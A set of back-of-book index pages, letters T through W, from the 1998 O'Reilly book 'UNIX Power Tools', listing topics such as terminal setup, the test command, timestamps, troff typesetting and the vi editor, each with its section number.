2.12. Automatic Setups for Different Terminals
correcting the remote host window size : 42.5. Checklist: Screen Size Messed Up?
stalled connection with : 42.2.4. Stalled Data Connection?
temporary files : 14.11. Finding (Anyone's) Home Directory, Quickly
cleanup command and : 3.4. Automatic File Cleanup
ending with ~ : 17.18. Using "Fast find"
for file searches : 9.24. Get File List by Editing Output of ls -l, grep, etc.
handling text with : 9.17. Handling Lots of Text with Temporary Files
managing : 45.11. The Multipurpose jot Command
redirecting output to : 46.1.1. Use -xv
/tmp directory
21.4. Why Both /tmp and /usr/tmp?
(see also /tmp directory)
unique filename generation for : 16.16. Picking a Unique Filename Automatically
TERM (terminate) signal
38.8. What Are Signals?
38.10. Destroying Processes with kill
TERM environment variable
2.12. Automatic Setups for Different Terminals
5.10. Finding What Terminal Names You Can Use
6.3. Predefined Environment Variables
6.4. The PATH Environment Variable
in C shell : 47.2.5. Variable Syntax
cases : 44.5. Test String Values with Bourne Shell case
examples : 44.5. Test String Values with Bourne Shell case
setting value of : 42.3. Why Changing TERM Sometimes Doesn't Work
termcap database
5.2. The Idea of a Terminal Database
5.7. What termcap and terminfo Do and Don't Control
6.3. Predefined Environment Variables
7.8. Highlighting in Shell Prompts
41.10. Using terminfo Capabilities in Shell Programs
42.1. Making Sense Out of the Terminal Mess
language of : 41.11. How termcap and terminfo Describe Terminals
types of lines in : 41.11. How termcap and terminfo Describe Terminals
TERMCAP environment variable
5.3. Setting the Terminal Type When You Log In
6.3. Predefined Environment Variables
setting
5.4. Setting the TERMCAP Variable with tset
42.3. Why Changing TERM Sometimes Doesn't Work
terminal drivers
priority of : 39.5. Why Is the System So Slow?
settings : 42.1. Making Sense Out of the Terminal Mess
terminal emulators
1.31. The X Window System
41.8. ptys and Window Systems
terminal modes in Berkeley UNIX : 41.2.1. How We Made It This Far (Back?)
terminal ports : 2.12. Automatic Setups for Different Terminals
terminal settings : 2.13. A .cshrc.$HOST File for Per Host Setup
saving in file : 42.4. Checklist for Resetting a Messed Up Terminal
terminal type : 2.2. Shell Setup Files-Which, Where, and Why
terminals
aliases for : 41.11. How termcap and terminfo Describe Terminals
automatic setups : 2.12. Automatic Setups for Different Terminals
characters sent out by special keys : 41.12. Finding Out What Characters Your Terminal's Special Keys Send
checking height and width : 42.6.2. Screen Width and Height: screensize
checklist for resetting : 42.4. Checklist for Resetting a Messed Up Terminal
clear command for : 22.18. Clear Your Terminal for Security, to Stop Burn-in
commands for adjusting : 41.9. Commands to Adjust Your Terminal
configuring
5.1. There's a Lot to Know About Terminals
5.6. Checklist: Terminal Hangs When I Log In
5.10. Finding What Terminal Names You Can Use
describing capabilities of : 41.11. How termcap and terminfo Describe Terminals
files with lines longer than : 42.5. Checklist: Screen Size Messed Up?
fixing hung : 42.2. Fixing a Hung Terminal or Job
fixing when hung : 5.6. Checklist: Terminal Hangs When I Log In
how to issue commands for : 41.11. How termcap and terminfo Describe Terminals
interpreting TAB characters : 41.4.1. TAB Is Just Another Character to UNIX
levels where problems can occur : 42.1. Making Sense Out of the Terminal Mess
naming : 5.10. Finding What Terminal Names You Can Use
reading long lines from : 41.7. Reading Verrrry Long Lines from the Terminal
screen editors
differences between terminals and : 5.2. The Idea of a Terminal Database
screen program
3.7. Detaching a Session with screen
12.9. Running Multiple Shell Sessions with screen
52.4. Quick Descriptions of What's on the Disc
screen size
changing the settings of : 42.5. Checklist: Screen Size Messed Up?
setting in configuration files or environment variables : 42.5. Checklist: Screen Size Messed Up?
testing files : 42.6. Screen Size Testing Files
sending repeated characters to : 42.7. termtest: Send Repeated Characters to Terminal
setup mode : 42.4. Checklist for Resetting a Messed Up Terminal
status line : 7.6. Session Information in Your Terminal's Status Line
testing for exactly 80 columns : 42.6.1. Single Line Screen Width: 80cols
testing long-line wrapping : 42.6.3. Set Width, Test Line Wrapping: longlines
writing to : 13.12. Writing to Multiple Terminals for Demonstrations
terminate signal : (see TERM signal)
terminfo database
5.2. The Idea of a Terminal Database
5.7. What termcap and terminfo Do and Don't Control
5.10. Finding What Terminal Names You Can Use
7.8. Highlighting in Shell Prompts
41.10. Using terminfo Capabilities in Shell Programs
42.1. Making Sense Out of the Terminal Mess
language of : 41.11. How termcap and terminfo Describe Terminals
types of lines in : 41.11. How termcap and terminfo Describe Terminals
terminology, interpreting : 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
termtest script
42.7. termtest: Send Repeated Characters to Terminal
52.4. Quick Descriptions of What's on the Disc
test command
44.20. test: Testing Files and Strings
52.4. Quick Descriptions of What's on the Disc
-a option : 45.33. Testing Two Strings with One case Statement
advantages : 45.33. Testing Two Strings with One case Statement
case statements compared to : 45.33. Testing Two Strings with One case Statement
errors caused by
46.4. Stop Syntax Errors in Numeric Tests
46.5. Stop Syntax Errors in String Tests
examples : 44.20. test: Testing Files and Strings
if loops using : 44.20. test: Testing Files and Strings
in while loops : 44.17. Handling Arguments with while and shift
-o option : 45.33. Testing Two Strings with One case Statement
returns : 44.20. test: Testing Files and Strings
until loops using : 44.20. test: Testing Files and Strings
versions of : 44.20. test: Testing Files and Strings
while loops using : 44.20. test: Testing Files and Strings
test command (sed)
script.tidy using : 51.6. Cleaning script Files
testing
character strings using expr : 45.29. Testing Characters in a String with expr
exit status : 46.9. If Command Doesn't Return a Status, Test the Error Messages
testing_files directory : 42.6. Screen Size Testing Files
TeX program : 43.12.2. TeX
Texinfo files : 52.5.3.4. Installing a Single Program
text
counting elements of : 29.6. Counting Lines, Words, and Characters: wc
double-spacing : 25.12. Double Space, Triple Space ...
empty files and : 13.14. What Can You Do with an Empty File?
handling with temporary files : 9.17. Handling Lots of Text with Temporary Files
highlighting : 27.20. A Highlighting grep
text editors : (see editors)
text files
filename extension : 1.17. Filename Extensions
finding : 16.26. Finding Text Files with findtext
newline character in : 1.29. When Is a File Not a File?
text processing
awk for : (see awk)
centering lines : 35.8. Centering Lines in a File
formatting columns : 35.14. Cutting Columns or Fields with cut
indent text : 35.7. offset: Indent Text
joining lines : 35.19. Joining Lines with join
neatening text
35.2. Neatening Text with fmt
35.3. Alternatives to fmt
re-format comment lines : 35.4. recomment: Clean Up Program Comment Blocks
remove mail/news headers : 35.5. Remove Mail/News Headers with behead
rotating text : 35.23. Rotating Text
sed for : (see sed)
selecting columns : 35.14. Cutting Columns or Fields with cut
splitting files : 35.9. Splitting Files at Fixed Points: split
straightening jagged columns : 35.22. Straightening Jagged Columns
tgrep script
27.13. More grep-like Programs Written in Perl
52.4. Quick Descriptions of What's on the Disc
then statement (examples) : 44.8. Test Exit Status with the if Statement
throwaway scripts : 9.15. Throwaway Scripts for Complicated Commands
tilde (~)
ending filenames : 14.11. Finding (Anyone's) Home Directory, Quickly
time
access times : 16.5. The Three UNIX File Times
appending date to filenames : 21.14. Automatically Appending the Date to a Filename
file modification : (see timestamps)
formats accepted by calendar : 48.4.1. How calendar Works
on UNIX systems
39.1. Which Time Is It?
51.2. How UNIX Keeps Time
time command : 39.2. Timing Programs
in C shell : 47.2.2.1. Built-Ins
examples : 47.2.2.1. Built-Ins
time daemon : 51.2. How UNIX Keeps Time
time shell variable : 6.9. Special C Shell Variables
Time to go now.... message : 40.2. Waiting a Little While: sleep
time variable : 39.3. The csh time variable
format string tags : 39.3. The csh time variable
time-sharing processes
modifying the scheduling priority of : 39.9. Know When to Be "nice" to OTher Users...and When
timeout keyowrd : 9.26. Expect
timestamps
16.5. The Three UNIX File Times
17.8. Exact File Time Comparisons
backups and : 20.7. Creating a Timestamp File for Selective Backups
listing/finding files by
16.2. Finding Oldest or Newest Files with ls -t and ls -u
16.9. An Alias to List Recently Changed Files
16.18. Listing Files You've Created/Edited Today
16.25. Listing Files by Age and Size
16.27. newer: Print the Name of the Newest File
17.5. Searching for Old Files
storing : 2.15. Unclutter Logins: Show Login Messages Just Once
touch command : 21.7. Setting File Modification Time with touch
timex command : 39.2. Timing Programs
timezones, TZ variable for
6.3. Predefined Environment Variables
6.6. The TZ Environment Variable
timing programs : 39.2. Timing Programs
timing report, customizing : 39.3. The csh time variable
tip program : 9.26.1. Dialback
tm script : 52.4. Quick Descriptions of What's on the Disc
/tmp directory
11.11.1. bash and ksh
21.2. A Better Place for Temporary Files: /tmp
21.4. Why Both /tmp and /usr/tmp?
tokens, find command and : 17.6. Be an Expert on find Search Operators
tolower command (awk) : 33.11.7. Alphabetical Summary of Commands
Torek, Chris
8.6.1. Portability
8.12. Which One Will the C Shell Use?
ToStatus script : 52.4. Quick Descriptions of What's on the Disc
touch command
17.8. Exact File Time Comparisons
21.7. Setting File Modification Time with touch
52.4. Quick Descriptions of What's on the Disc
examples
46.9. If Command Doesn't Return a Status, Test the Error Messages
48.2. Online Phone and Address Lists
storing cutrrent timestamp : 2.15. Unclutter Logins: Show Login Messages Just Once
toupper command (awk) : 33.11.7. Alphabetical Summary of Commands
tpipe command
13.11. tpipe-Redirecting stdout to More than One Place
52.4. Quick Descriptions of What's on the Disc
tput command
41.1. Delving a Little Deeper
41.10. Using terminfo Capabilities in Shell Programs
42.1. Making Sense Out of the Terminal Mess
42.4. Checklist for Resetting a Messed Up Terminal
printing long terminal names : 5.10. Finding What Terminal Names You Can Use
tput init command : 42.4. Checklist for Resetting a Messed Up Terminal
tput reset command : 42.4. Checklist for Resetting a Messed Up Terminal
tputinit program : 52.4. Quick Descriptions of What's on the Disc
tr command : 15.5. Matching All "Dot Files" with Wildcards
Berkeley vs. System V : 35.11. Hacking on Characters with tr
-c option : 29.10. Just the Words, Please
control characters used with : 45.35.2. With tr and echo
converting characters : 1.5. Anyone Can Program the Shell
rotating text : 30.22.2. Filtering Text with vi
squeeze option : 35.11. Hacking on Characters with tr
trap command
7.12. External Commands Send Signals to Set Variables
44.12. Trapping Exits Caused by Interrupts
45.8. Handling Signals to Child Processes
: (colon) used with : 45.8. Handling Signals to Child Processes
arguments to : 45.8. Handling Signals to Child Processes
in C shell : 47.2.3. Signals
examples : 47.2.3. Signals
handling signals in Bourne shell : 38.9. Killing Foreground Jobs
in nom script : 44.12. Trapping Exits Caused by Interrupts
signal names/numbers : 44.12. Trapping Exits Caused by Interrupts
trash directory : 23.8. Safe Delete: Pros and Cons
tree-structured filesystem : 1.19. The Tree Structure of the Filesystem
trees, directory
16.19. stree: Simple Directory Tree
16.22. Comparing Two Directory Trees with dircmp
16.23. Comparing Filenames in Two Directory Trees
archives/backups of : 20.1. tar in a Nutshell
changing permissions of : 22.7. Using chmod to Change File Permission
compressing
24.8. Save Space: tar and compress a Directory Tree
24.12. Compressing a Directory Tree: Fine-Tuning
copying : 18.15. Copying Directory Trees with cp -r
duplicating : 17.17. Duplicating a Directory Tree (No Pathnames with find {} Operator)
find command and : 17.2. Delving Through a Deep Directory Tree
grep command and : 17.20. grepping a Directory Tree (and a Gotcha)
searching : 17.24. Skipping Some Parts of a Tree in find (A More Selective -prune)
trimming directories : 24.15. Trimming a Directory
triplespace script : 52.4. Quick Descriptions of What's on the Disc
troff formatting package
43.12.1. troff
43.13. The Text Formatters nroff, troff, ditroff, ...
errors caused by : 50.12. Common UNIX Error Messages
indexing feature : 1.4. Using Pipes to Create a New Tool
macros : 43.14. nroff/troff and Macro Packages
macros, debugging : 43.20. Displaying a troff Macro Definition
preprocessing : 43.21. Preprocessing troff Input with sed
Trojan horse attack : 19.2. Introduction to Shell Archives
troubleshooting
software problems : 52.8.1.2. Problems
stalled data connections : 42.2.4. Stalled Data Connection?
stray prompt problems : 7.3. C Shell Prompt Causes Problems in vi, rsh, etc.
true exit status : 44.7. Exit Status of UNIX Processes
true program : 52.4. Quick Descriptions of What's on the Disc
tscan examples : 44.21. Picking a Name for a New Command
.tcshrc file : 2.2.5. tcsh
tset command
2.12. Automatic Setups for Different Terminals
5.3. Setting the Terminal Type When You Log In
5.9. Setting Your Erase, Kill, and Interrupt Characters
41.1. Delving a Little Deeper
42.1. Making Sense Out of the Terminal Mess
42.4. Checklist for Resetting a Messed Up Terminal
initializing terminal : 5.11. Initializing the Terminal with tset
-m option : 5.3. Setting the Terminal Type When You Log In
-Q option
5.3. Setting the Terminal Type When You Log In
5.11. Initializing the Terminal with tset
setting TERMAP variable : 5.4. Setting the TERMCAP Variable with tset
TSTP (stop) signal : 38.8. What Are Signals?
tty command
3.8. What tty Am I On?
38.6. The Controlling Terminal
52.4. Quick Descriptions of What's on the Disc
tty number
displaying with usernames : 51.4. Who's On?
in ps listing : 38.6. The Controlling Terminal
tty serial port, for activity monitoring : 38.2. fork and exec
ttys
41.2.1. How We Made It This Far (Back?)
42.1. Making Sense Out of the Terminal Mess
ttys and ttytab files : 2.12. Automatic Setups for Different Terminals
twin program
28.5. Comparing Files Alongside One Another
52.4. Quick Descriptions of What's on the Disc
twm window manager : 42.6.3. Set Width, Test Line Wrapping: longlines
.txt filename extension : 1.17. Filename Extensions
type-ahead feature : 9.19. For the Impatient: Type-Ahead
type command
4.10. Find All Command Versions with whereiz
8.11. Which One Will bash Use?
typescript : 51.5. Copy What You Do with script
"typesetter busy" error message : 50.12. Common UNIX Error Messages
typesetting
21.14. Automatically Appending the Date to a Filename
(see also printing)
awf program : 43.17. Don't Have nroff? Try gnroff or awf
bold text : 43.18. How nroff Makes Bold and Underline; How to Remove It
col command : 43.18. How nroff Makes Bold and Underline; How to Remove It
colcrt command : 43.18. How nroff Makes Bold and Underline; How to Remove It
curly quotes : 43.21. Preprocessing troff Input with sed
ditroff program : 43.13. The Text Formatters nroff, troff, ditroff, ...
em-dashes : 43.21. Preprocessing troff Input with sed
equations
43.12. Typesetting Overview
43.12.2. TeX
escape sequences, removing : 43.19. Removing Leading Tabs and Other Trivia
gnroff program : 43.17. Don't Have nroff? Try gnroff or awf
groff program : 43.16. groff
line drawings : 43.12. Typesetting Overview
nroff program : 43.13. The Text Formatters nroff, troff, ditroff, ...
Scribe program : 43.12.3. Scribe
tables : 43.12. Typesetting Overview
TABs, removing : 43.19. Removing Leading Tabs and Other Trivia
TeX program : 43.12.2. TeX
troff : (see troff formatting package)
typographical characters : 43.21. Preprocessing troff Input with sed
ul command : 43.18. How nroff Makes Bold and Underline; How to Remove It
underlined text : 43.18. How nroff Makes Bold and Underline; How to Remove It
WYSIWYG programs : 43.12.3. Scribe
typographical characters : 43.21. Preprocessing troff Input with sed
TZ environment variable
6.3. Predefined Environment Variables
6.6. The TZ Environment Variable

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

UIDs : (see user IDs)
ul command : 43.18. How nroff Makes Bold and Underline; How to Remove It
ulimit -f command : 24.5. Limiting File Sizes
umask command
14.14. Automatic Setup When You Enter/Exit a Directory
22.2.1. User, Group, and World
22.4. Setting an Exact umask
45.36. Shell Lockfile
setting in shell scripts : 38.4. Subshells
umask value : 52.5.3.3. Running Install
uname command
50.7. How UNIX Systems Remember Their Name
52.4. Quick Descriptions of What's on the Disc
unarchiving : (see archives)
uncluttering logins : 2.15. Unclutter Logins: Show Login Messages Just Once
uncompress command
52.8.1.1. Missing Programs
52.8.2.2. Uncompressing the Sources
undelete program : 52.4. Quick Descriptions of What's on the Disc
underlined text : 43.18. How nroff Makes Bold and Underline; How to Remove It
underscore (_) in filenames : 1.15. Filenames
undoing (vi editor)
30.8. Get Back What You Deleted with Numbered Buffers
30.10. Confirming Substitutions in ex and vi
30.38. Finding Your Place with Undo
unedit command (SCCS) : 20.13. SCCS Basics
unexpand command
41.4.1. TAB Is Just Another Character to UNIX
52.4. Quick Descriptions of What's on the Disc
filtering within vi : 31.5. Keymaps for Pasting into a Window Running vi
unexpand script : 24.6. Save Space with Tab Characters
uniq command
35.20. Quick Reference: uniq
50.3. apropos on Systems Without apropos
UNIX
advantages
1.1. What's Special About UNIX?
1.7. Power Grows on You
1.26. What a Multiuser System Can Do for You
44.1. Everyone Should Learn Some Shell Programming
52.3. Shrink-Wrapped Software for UNIX
binary programs : 52.8.2. Compiling Source Code
definition of priority : 39.9. Know When to Be "nice" to OTher Users...and When
drawbacks of : 1.34. What's Wrong with UNIX
flexible handling of TAB characters : 41.4. How UNIX Handles TAB Characters
identifying versions : 50.8. Which Version Am I Using?
networking and communications utilities : 1.33. UNIX Networking and Communications
platforms : 52.3. Shrink-Wrapped Software for UNIX
time on : 39.1. Which Time Is It?
two main branches of : 41.2.1. How We Made It This Far (Back?)
versions of : About UNIX Versions
unkillable processes, cleaning up : 38.15. Cleaning Up an Unkillable Process
unlimit coredumpsize command : 24.5. Limiting File Sizes
unlink command : 23.15. Using unlink to Remove a File with a Strange Name
unlinking files : 24.3. Unlinking Open Files Isn't a Good Idea
unprintable characters : (see special characters)
codes for writing : 41.11.1. Special Character Codes
unprintable files : 25.5. Page Through Compressed, RCS, Unprintable Files
unset variable errors : 40.4. Choosing the Shell Run (We Hope) by at
unsetenv command : 6.1. What Environment Variables Are Good For
unshar program
19.3. unshar: Unarchive a Shell Archive
52.4. Quick Descriptions of What's on the Disc
52.8.1.1. Missing Programs
52.8.2.4. Unsharring the Sources
unshar software : 52.8.2.4. Unsharring the Sources
untarring software : 52.8.2.3. Untarring the Sources
unterrupt characters : 5.9. Setting Your Erase, Kill, and Interrupt Characters
until loops : 44.10.1. Looping Until a Command Succeeds
in Bourne shells : 44.10.1. Looping Until a Command Succeeds
examples : 44.10.1. Looping Until a Command Succeeds
while loops compared to : 44.10.2. Looping Until a Command Fails
updateb script : 17.19. Finding Files (Much) Faster with a find Database
uppercase
pathname in : 52.5.3.4. Installing a Single Program
without CAPS LOCK : 31.11. Typing in Uppercase Without CAPS LOCK
uptime command : 39.7. Checking System Load: uptime
average reported by : 39.12.1. The CPU
Usenet : 1.33. UNIX Networking and Communications
$USER
examples : 48.4.3. Automating Your Own Calendar
user dictionaries : (see dictionary files)
USER environment variable
6.3. Predefined Environment Variables
6.9. Special C Shell Variables
in C shell : 47.2.5. Variable Syntax
user IDs (UIDs) : 38.3. Managing Processes: Overall Concepts
file access : 1.23. File Access Permissions
user time
39.2. Timing Programs
39.5. Why Is the System So Slow?
user's login shell, killing : 38.10. Destroying Processes with kill
user-defined signal : (see USR1 signal)
user-state CPU time : 39.5. Why Is the System So Slow?
username field in crontab entries : 40.12.1. Execution Scheduling
users
17.16. Searching by Owner and Group
(see also groups)
classes of : 39.12.4. User Communities
effect on system performance : 39.12.4. User Communities
ownership : (see ownership, file)
SUID bit
1.23. File Access Permissions
1.25. Access to Directories
/usr directory
/usr/bin directory
programs in : 1.10. Internal and External Commands
in search paths : 44.3.4. Shell Search Paths
/usr/include, header files in : 52.8.2.7. Functions, Libraries, and Header Files
/usr/lib/crontab file : 40.12.1. Execution Scheduling
/usr/lib/crontab.local file : 40.12.1. Execution Scheduling
/usr/local directory : 52.5.3.5. Installing Everything Using the Defaults
/usr/tmp directory : 21.4. Why Both /tmp and /usr/tmp?
USR1 (user-defined) signal : 38.8. What Are Signals?
utilities, combining : 44.1. Everyone Should Learn Some Shell Programming
UUCP (UNIX-to-UNIX copy)
1.33. UNIX Networking and Communications
52.7.2.3. UUCP
uudecode command : 19.5. Using tar to Create and Unpack Archives
uuencode command : 19.5. Using tar to Create and Unpack Archives
uuencoded files : 11.3. My Favorite Is !$
UUNET : 52.7.2.3. UUCP

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

variables
46.7. Quoting and Command-Line Parameters
(see also shell variables; under specific variable name)
Bourne shell syntax : 47.2.5. Variable Syntax
in C shell : 47.4.1. Variables
C shell syntax : 47.2.5. Variable Syntax
environment : (see environment variables)
errors caused by : 46.5. Stop Syntax Errors in String Tests
finding directories and files : 14.10. Variables Help You Find Directories and Files
multiple : 45.17. Making a for Loop with Multiple Variables
set to argv : 46.7. Quoting and Command-Line Parameters
set to word lists : 46.7. Quoting and Command-Line Parameters
shell : (see shell variables)
shell scripts setting : 46.3. Bourne Shell Debugger Shows a Shell Variable
in subshells : 13.8. Using {list} to Group Bourne Shell Commands
tracing : 8.17. verbose and echo Variables Show Quoting
variable substitution, advantages of : 1.5. Anyone Can Program the Shell
VAX/VMS command language (DCL)
emulating : 1.8. There Are Many Shells
verbose shell variable
6.9. Special C Shell Variables
8.17. verbose and echo Variables Show Quoting
versions
awk utility : 33.12. Versions of awk
UNIX : About UNIX Versions
vertical bar : (see |)
vgrep script
15.8. Getting a List of Non-Matching Files with grep -c
52.4. Quick Descriptions of What's on the Disc
vi editor
@-functions : 31.4. vi @-Functions
abbreviations
30.31. vi Word Abbreviation
31.9. Good Stuff for Your .exrc File
appending to file : 30.13. Appending to an Existing File
autowrite option : 12.4. Job Control and autowrite: Real Time Savers!
C included files : 30.28. Keep Track of Functions and Included Files with ctags and tags
capitalizing words : 30.17. Capitalizing Every Word on a Line
complex macros : 31.15. Fooling vi into Allowing Complex Macros
compound searches : 30.27. vi Compound Searches
confirming substitutions : 30.10. Confirming Substitutions in ex and vi
counting occurrences : 30.16. Counting Occurrences; Stopping Search Wraps
cursor motion in input mode : 31.12. Text-Input Mode Cursor Motion with No Arrow Keys
deleting by patterns : 30.14. Moving Blocks of Text by Patterns
development of : 5.2. The Idea of a Terminal Database
ex open mode : 30.36. The ex Open Mode Can Be Handy
EXINIT variable : 6.3. Predefined Environment Variables
.exrc file with : 4.9. Setting Up vi with the .exrc File
file recovery : 30.24. vi/ex File Recovery vs. Networked Filesystems
filtering text
30.22.2. Filtering Text with vi
30.37. Neatening Lines
function keys : 31.2.1. Command Mode Maps
keys not used : 31.2.1. Command Mode Maps
line vs. character commands : 30.34. vi Line Commands vs. Character Commands
map commands
31.2. Save Time and Typing with the vi map Commands
31.6. Protecting Keys from Interpretation by ex
marking : 30.38. Finding Your Place with Undo
modelines : 30.19. Modelines: Bug or Feature?
mouse-based editors versus : 30.3. Mice vs. vi
moving by patterns : 30.14. Moving Blocks of Text by Patterns
moving/copying text : 30.8. Get Back What You Deleted with Numbered Buffers
multiple setup files
30.20. Multiple Editor Setup Files; Starting with a Search
30.21. Per File Setups in Separate Files
multiple vi sessions : 30.32. Using vi Abbreviations as Commands (Cut and Paste Between vi's)
named buffers : 30.7. Using Buffers to Move or Copy Text
neatening lines
30.37. Neatening Lines
31.16. vi Macro for Splitting Long Lines
noremap command : 31.14. Don't Lose Important Functions with vi Maps: Use noremap
numbered buffers : 30.8. Get Back What You Deleted with Numbered Buffers
pasting into window : 31.5. Keymaps for Pasting into a Window Running vi
patterns
30.9. Using Search Patterns and Global Commands
30.14. Moving Blocks of Text by Patterns
30.27. vi Compound Searches
quoting control characters : 31.6. Protecting Keys from Interpretation by ex
reverting to saved : 30.4. Editing Multiple Files with vi
running ex scripts : 33.5. Running Editing Scripts Within vi
save as new file : 30.4. Editing Multiple Files with vi
saving as new file : 30.11. Keep Your Original File, Write to a New File
saving part of file : 30.12. Saving Part of a File
set directory command : 30.35. Out of Temporary Space? Use Another Directory
settings
30.6. Local Settings for vi and ex
30.18. Setting vi Options Automatically for Individual Files
shell escapes : 30.26. Shell Escapes: Running One UNIX Command While Using Another
spell command with : 29.3. How Do I Spell That Word?
startup commands : 30.6. Local Settings for vi and ex
stopping search wraps : 30.16. Counting Occurrences; Stopping Search Wraps
switching between files : 30.4. Editing Multiple Files with vi
tags files : 30.28. Keep Track of Functions and Included Files with ctags and tags
transfer text between files : 30.5. Edits Between Files
undoing changes
30.8. Get Back What You Deleted with Numbered Buffers
30.10. Confirming Substitutions in ex and vi
30.38. Finding Your Place with Undo
yank buffers : 30.5. Edits Between Files
virtual consoles : 12.9. Running Multiple Shell Sessions with screen
virtual memory performance : 39.5. Why Is the System So Slow?
virtual terminal interface : 41.2.1. How We Made It This Far (Back?)
vis command
51.7. When You Get Impatient
52.4. Quick Descriptions of What's on the Disc
C shell history compared to : 51.7. When You Get Impatient
-d option : 51.7. When You Get Impatient
display compared to : 51.7. When You Get Impatient
examples : 51.7. When You Get Impatient
rep compared to : 51.7. When You Get Impatient
-s option : 51.7. When You Get Impatient
watch compared to : 51.7. When You Get Impatient
VISUAL environment variable : 6.3. Predefined Environment Variables
vless script : 52.4. Quick Descriptions of What's on the Disc
vmore script : 52.4. Quick Descriptions of What's on the Disc
vmstat : 39.12.2. The Memory Subsystem
reporting of network statistics : 39.12.3. The I/O Subsystem
vnode numbers : 17.22. Finding the Links to a File
vpg script : 52.4. Quick Descriptions of What's on the Disc
VT100 terminals, escape sequences for highlighting : 7.8. Highlighting in Shell Prompts
vtree program
16.20. The vtree Visual Directory Tree Programs
52.4. Quick Descriptions of What's on the Disc

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

wait command : 38.16. Why You Can't Kill a Zombie
in background jobs : 44.7. Exit Status of UNIX Processes
wallclock time
39.3. The csh time variable
39.5. Why Is the System So Slow?
watch command vs. vis command : 51.7. When You Get Impatient
watchq script
38.11. Printer Queue Watcher: A Restartable Daemon Shell Script
52.4. Quick Descriptions of What's on the Disc
wc command
8.6.1. Portability
29.6. Counting Lines, Words, and Characters: wc
Web, described : 1.33. UNIX Networking and Communications
weekday in crontab entries : 40.12.1. Execution Scheduling
werase key : 5.9. Setting Your Erase, Kill, and Interrupt Characters
whatis command : 50.4. whatis: One-Line Command Summaries
advantages : 50.4. whatis: One-Line Command Summaries
apropos compared to : 50.4. whatis: One-Line Command Summaries
examples : 50.4. whatis: One-Line Command Summaries
whence command : 4.10. Find All Command Versions with whereiz
whereis command
16.10. findcmd: Find a Command in Your Search Path
50.5. whereis: Finding Where a Command Is Located
-b option : 50.5. whereis: Finding Where a Command Is Located
examples
44.21. Picking a Name for a New Command
50.5. whereis: Finding Where a Command Is Located
-m option : 50.5. whereis: Finding Where a Command Is Located
-s option : 50.5. whereis: Finding Where a Command Is Located
-u option : 50.5. whereis: Finding Where a Command Is Located
whereiz script
4.10. Find All Command Versions with whereiz
52.4. Quick Descriptions of What's on the Disc
which command
16.10. findcmd: Find a Command in Your Search Path
50.8. Which Version Am I Using?
-a option : 4.10. Find All Command Versions with whereiz
alternatives to : 50.8. Which Version Am I Using?
examples
44.21. Picking a Name for a New Command
50.8. Which Version Am I Using?
setting the prompt variable : 2.10. Gotchas in set prompt Test
which program : 52.4. Quick Descriptions of What's on the Disc
while command (awk) : 33.11.7. Alphabetical Summary of Commands
while loops
44.10.2. Looping Until a Command Fails
44.15.2. With a Loop
in C shell : 47.4.2. Expressions
case statement used in : 45.22. Handling Files Line-by-Line
case statement used with : 44.17. Handling Arguments with while and shift
examples
44.10.2. Looping Until a Command Fails
44.17. Handling Arguments with while and shift
45.32. A Better read Command: grabchars
for loops compared to : 45.16. Standard Input to a for Loop
handling command-line arguments : 44.17. Handling Arguments with while and shift
jot command in : 45.11. The Multipurpose jot Command
multiple commands : 45.19. A while Loop with Several Loop Control Commands
read command used in
45.16. Standard Input to a for Loop
45.22. Handling Files Line-by-Line
redirected : 45.22. Handling Files Line-by-Line
shift command used with : 44.17. Handling Arguments with while and shift
test command used with : 44.17. Handling Arguments with while and shift
until loops compared to : 44.10.2. Looping Until a Command Fails
whitespace : 1.2. Who Listens to What You Type?
adding or deleting : 25.9. Adding and Deleting White Space
adding/deleting : 25.13. pushin: Squeeze Out Extra White Space
cat command and : 25.6. What's in That White Space?
double-spacing : 25.12. Double Space, Triple Space ...
in filenames
8.16. Quoting Handles Special Characters in Filenames
16.13. Can't Access a File? Look for Spaces in the Name
newline character : 1.29. When Is a File Not a File?
newline characters
4.9. Setting Up vi with the .exrc File
8.6.1. Portability
25.10. Squash Extra Blank Lines
problems with xargs : 9.22. xargs: Problems with Spaces and Newlines
TAB characters
8.18. Here Documents
24.6. Save Space with Tab Characters
wc command and : 29.6. Counting Lines, Words, and Characters: wc
"who are you?" error message : 50.12. Common UNIX Error Messages
who command
9.16. Command Substitution
51.4. Who's On?
52.4. Quick Descriptions of What's on the Disc
examples : 44.2. Writing a Simple Shell Program
on PowerTools disk : 51.4. Who's On?
whoami command : 2.12. Automatic Setups for Different Terminals
errors caused by : 50.12. Common UNIX Error Messages
wildcard characters
in case statements : 44.6. Pattern Matching in case Statements
wildcards
1.16. Wildcards
21.14. Automatically Appending the Date to a Filename
(see also pattern matching; special characters)
!$ sequence with : 11.6. Using !$ for Safety with Wildcards
with aliases : 8.9. Wildcards Inside of Aliases
creating files : 9.4. Use Wildcards to Create Files?
deleting files and : 23.2. rm and Its Dangers
in directory names : 17.2. Delving Through a Deep Directory Tree
file-naming : 15.1. File Naming Wildcards
find command and
17.4. Looking for Files with Particular Names
17.18. Using "Fast find"
in case statements : 44.5. Test String Values with Bourne Shell case
in for loops : 44.16. Handling Command-Line Arguments with a for Loop
